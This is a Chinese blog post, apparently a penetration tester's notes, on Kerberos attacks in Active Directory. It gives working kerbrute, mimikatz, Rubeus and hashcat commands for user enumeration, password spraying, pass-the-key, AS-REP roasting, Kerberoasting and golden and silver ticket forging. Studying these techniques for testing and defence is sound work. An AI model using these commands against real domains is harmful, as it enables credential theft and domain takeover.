Kerberos相关的安全问题
用户名枚举
原理
不存在的用户
存在的用户
通过这个比较就可以写脚本改变cname的值进行用户名枚举。
利用
https://github.com/ropnop/kerbrute/
kerbrute.exe userenum -d muxue.com user.txt
获取到用户名后 就可以接着枚举密码了;也就是Password Spraying
Password Spraying
原理
密码错误
密码成功
利用
kerbrute.exe passwordspray -d muxue.com user.txt admin123!
Pass The Hash
原理
在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。
利用
pth的方法有很多啊 我擦 就不一一举例了
Pass The Key
原理
如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key;
pth的算法是rc4
利用
// dumphash
privilege::debug
sekurlsa::ekeys
// import
privilege::debug
sekurlsa::pth /user:user /domain:domain_name /aes256:xxx
// dir
dir \\dc\c$
然后导入票据 他会新弹出一个cmd
后来我再测试的时候 不知道为啥aes256和aes128都不显示,你提升到debug权限就得域管,域管本来就可以dir dc的把 我擦 没搞懂
AS-REP Roasting
原理
开启了不要求Kerberos预身份验证
,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令
利用
这个洞需要设置账户
Rubeus.exe asreproast
然后使用hashcat爆破(先加一个$23
)
hashcat -m 18200 hash.txt pass.txt --force
Golden Tickets
原理
在AS_REP里面的TGT的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。
利用
伪造黄金票据
先获取域的SID和krbtgt的值
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
sid最后-后面的不要
Pass the ticket
原理
Kerbreos 除了第一步AS_ERQ是使用时间戳加密用户hash验证之外,其他的步骤的验证都是通过票据
利用
其实我们上篇搞非约束委派的时候 就用到了ptt,获取票据以后再传递
Kerberoassting
原理
是使用要请求的服务的hash加密的,所以我们可以通过爆破获得服务的hash。
https://3gstudent.github.io/域渗透-Kerberoasting;推荐看三好学生师傅的文章
利用
Rubeus.exe kerberoast
hashcat -m 13100 hash.txt pass.txt --force
Sliver Tickets
也就是白银票据
原理
Ticket=Server Hash(Server Session Key+Client info+End Time)
所以当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
利用
首先需要导出Server Hash
伪造票据
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" "exit"
委派
委派就看我上篇文章吧
最新文章
- Python中的绝对路劲和相对路径
- <;textarea>;输入框提示文字
- HttpClient总结一之基本使用
- Python实践:开篇
- 记一次SortedDictionary的不当使用
- [leetcode] 407. Trapping Rain Water II
- C#面向对象——方法的重载及构造函数、静态对象。
- 判断一个值是不是DBNull.Value
- windows net 命令(转载)
- .NET面试资料整理
- [模板] k短路
- mysql函数技巧整理
- 遍历List过程中删除操作报java.util.ConcurrentModificationException错误
- Yii2项目高级模版 三个模块在同一个目录下的重定向配置
- 【工具相关】Web-Sublime Text2的用法(一)
- ODAC(V9.5.15) 学习笔记(十)TVirtualTable
- SpringBoot2.0之整合Apollo
- 常用markdown语法入门
- 解决Cell重用问题
- 微信公众号支付安卓和WP支付成功,苹果不能支付!